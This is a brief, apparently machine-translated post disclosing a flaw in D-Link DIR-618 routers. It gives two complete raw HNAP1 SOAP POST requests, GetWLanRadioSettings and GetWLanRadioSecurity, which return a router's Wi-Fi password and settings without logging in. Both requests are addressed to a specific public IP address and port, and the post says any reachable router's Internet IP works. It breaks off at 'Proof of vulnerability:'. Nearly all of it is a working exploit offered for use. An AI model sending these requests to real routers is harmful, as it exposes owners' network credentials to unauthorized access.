D-Link a route sends a specific POST packet to obtain the password and other information.

D-Link a route sends a specific POST packet to obtain the password and other information.

You can also obtain the Internet IP address and POST the package directly to obtain the Wi-Fi password and other information.

Model: DIR-618

 

POST /HNAP1/ HTTP/1.0Connection: keep-aliveContent-Length: 371SOAPAction: "http://purenetworks.com/HNAP1/GetWLanRadioSettings"Host: 119.144.61.67:1080Accept: text/html, */*Accept-Encoding: deflate, gzip, identityUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1<?xml version="1.0" encoding="utf-8"?><soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/"><soap:Body><GetWLanRadioSettings xmlns="http://purenetworks.com/HNAP1/"><RadioID>2.4GHZ</RadioID></GetWLanRadioSettings></soap:Body></soap:Envelope>

 

POST /HNAP1/ HTTP/1.0Connection: keep-aliveContent-Length: 371SOAPAction: "http://purenetworks.com/HNAP1/GetWLanRadioSecurity"Host: 119.144.61.67:1080Accept: text/html, */*Accept-Encoding: deflate, gzip, identityUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1<?xml version="1.0" encoding="utf-8"?><soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/"><soap:Body><GetWLanRadioSecurity xmlns="http://purenetworks.com/HNAP1/"><RadioID>2.4GHZ</RadioID></GetWLanRadioSecurity></soap:Body></soap:Envelope>

 

Proof of vulnerability: